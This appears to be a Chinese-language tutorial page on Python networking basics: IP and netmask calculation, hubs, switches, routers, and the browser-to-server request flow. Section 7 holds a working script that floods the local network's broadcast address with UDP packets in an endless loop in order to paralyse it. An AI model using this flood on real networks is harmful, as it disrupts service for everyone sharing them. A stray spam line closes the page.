您的位置:首頁技術文章
文章詳情頁

python網絡通信圖文詳解

瀏覽:6日期:2022-07-28 18:06:24
目錄1. 常用的網絡協議2. 數據傳輸過程3. 兩臺電腦通信4. IP地址網絡號與主機號的確定規則 5. 最開始集線器解決多臺電腦通信 6. 使用交換機進行網絡通信7. 使用udp協議實現內網癱瘓8. 使用路由器連接多個網絡9. 瀏覽器訪問服務器的過程總結1. 常用的網絡協議

python網絡通信圖文詳解

ICMP協議又叫:網絡控制協議

2. 數據傳輸過程

python網絡通信圖文詳解

3. 兩臺電腦通信

網絡傳輸的是數據的信號而不是電流

python網絡通信圖文詳解

4. IP地址網絡號與主機號的確定規則

通過ip地址和網絡掩碼的二進制數實行按位與運算,計算的結果轉換為十進制,非0的就是網絡號,0的就是主機號

python網絡通信圖文詳解

5. 最開始集線器解決多臺電腦通信

但是集線器是以廣播的形式發送數據,設備一多就會導致網絡擁堵。

python網絡通信圖文詳解

6. 使用交換機進行網絡通信

單播寫對方的mac地址,廣播mac地址寫6組FF:FF:FF:FF:FF:FF

python網絡通信圖文詳解

7. 使用udp協議實現內網癱瘓

先根據IP地址和網絡掩碼二進制按位與計算出網絡號,在使用udp往當前局域網(網絡號)下面無線循環發廣播,使局域網瀕臨癱瘓

import socket # 導入socketdef main(): try:# 1、創建socket套接字udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # socket.SOCK_DGRAM 這里是指定UDP協議# 2、指定地址data_address = ('192.168.255.255', 64300)# 地址要是一個 元組,第一個'192.168.100.255'是內網的廣播地址,第二個 64300 是你計算機當前的端口## 這個端口不必太在意,64300 只要不是被其他程序占用的就行,# 3、發送數據while True: send_data = '1' * 57175 # 這里發送的數據可以隨意點 udp_socket.sendto(send_data.encode('UTF-8'), data_address) # 第一個參數sendData.encode('UTF-8')是要發送的數據,('UTF-8')是設置發送數據的編碼, # 第二個參數(dataAddress)是發送數據的地址,也就是筆者內網的廣播地址 except Exception as result:print('未知錯誤' + str(result))if __name__ == ’__main__’: main()8. 使用路由器連接多個網絡

路由器的作用:連接兩個以上的網絡為一個大網絡

網關:具有轉發數據能力的設備

當AB兩臺電腦不在同一個網絡下想進行通信時,A電腦需要先把數據發送到默認網關,網關具有轉發數據的能力,網關再把數據轉發給B電腦,默認網關一般都是路由器

python網絡通信圖文詳解

python網絡通信圖文詳解

數據在轉發的過程當中,ip地址不變,mac地址每轉發一次就發生一次變化

9. 瀏覽器訪問服務器的過程

python網絡通信圖文詳解

(1)向DNS服務器發送請求進行解析域名

(2)向http服務器發送3次握手

(3)握手成功后,向http服務器發送Http格式的請求數據

(4)所有請求完畢后,向http服務器發送4次揮手

網絡數據包發送過程當中源IP目標IP不變,源mac和目標mac每通過路由器網關轉發一次就會發生一次變化

總結

本篇文章就到這里了,希望能給你帶來幫助,也希望您能夠多多關注好吧啦網的更多內容!

標簽: Python 編程
相關文章:
国产综合久久一区二区三区